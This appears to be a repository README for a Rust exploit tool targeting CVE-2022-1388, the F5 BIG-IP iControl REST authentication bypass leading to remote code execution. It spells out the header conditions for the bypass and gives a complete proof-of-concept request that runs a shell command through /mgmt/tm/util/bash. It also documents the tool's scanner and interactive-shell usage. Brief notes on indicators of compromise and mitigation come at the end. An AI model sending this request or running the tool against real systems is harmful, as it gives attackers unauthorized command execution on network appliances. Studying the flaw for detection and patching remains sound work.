CVE-2022-1388 F5 BIG-IP iControl REST Auth Bypass RCE written in Rust# CVE-2022-1388-rs
Scanner and Interactive shell for CVE-2022-1388 F5 BIG-IP iControl REST Auth Bypass RCE written in Rust
## Summary
To wrap things up here is an overview of the necessary conditions of a request for exploiting this vulnerability:
- Connection header must include X-F5-Auth-Token
- X-F5-Auth-Token header must be present
- Host header must be localhost / 127.0.0.1 or the Connection header must include X-Forwarded-Host
- Auth header must be set with the admin username and any password
## PoC
```
POST /mgmt/tm/util/bash HTTP/1.1
Host: 127.0.0.1
Authorization: Basic YWRtaW46aG9yaXpvbjM=
X-F5-Auth-Token: thisisrandomstring
User-Agent: curl/7.82.0
Connection: X-F5-Auth-Token
Accept: */*
Content-Length: 39
{
"command":"run",
"utilCmdArgs":"-c id"
}
```
# Setup LAB
- You can find the lab <a href="https://github.com/aancw/CVE-2022-1388-rs/blob/main/LAB-PoC/README.md">Here</a>
## Usage
```
$ cve_2022_1308_rs -h
CVE-2022-1388 PoC 1.0
Petruknisme <me@petruknisme.com>
Scanner and Interactive shell for CVE-2022-1388 F5 BIG-IP iControl REST Auth Bypass RCE written in
Rust
USAGE:
cve_2022_1388_rs [OPTIONS] --url <URL>
OPTIONS:
-h, --help Print help information
-s, --shell This mode for accessing payload with interactive shell
-u, --url <URL> F5 Big-IP target url
-V, --version Print version information
```
## Requirements
- Rust
- Cargo
## IoCs
IOCs can be found in the `/var/log/audit` log file. Unrecognized commands executed by the `mgmt/tm/util/bash` endpoint should be cause for concern.
## Mitigation
Update to the latest version or mitigate by following the instructions within the F5 Security Advisory
- https://support.f5.com/csp/article/K23605346
## References
- https://www.horizon3.ai/f5-icontrol-rest-endpoint-authentication-bypass-technical-deep-dive/
[4.0K] /data/pocs/46469ee1d013c199edefa0b6f1323d7d33e59d10
├── [ 466] Cargo.toml
├── [4.0K] LAB-PoC
│ ├── [ 241] Dockerfile
│ ├── [ 810] main.py
│ ├── [ 86] Makefile
│ ├── [ 499] README.md
│ └── [ 169] requirements.txt
├── [1.0K] LICENSE
├── [1.8K] README.md
└── [4.0K] src
└── [4.0K] main.rs
2 directories, 9 files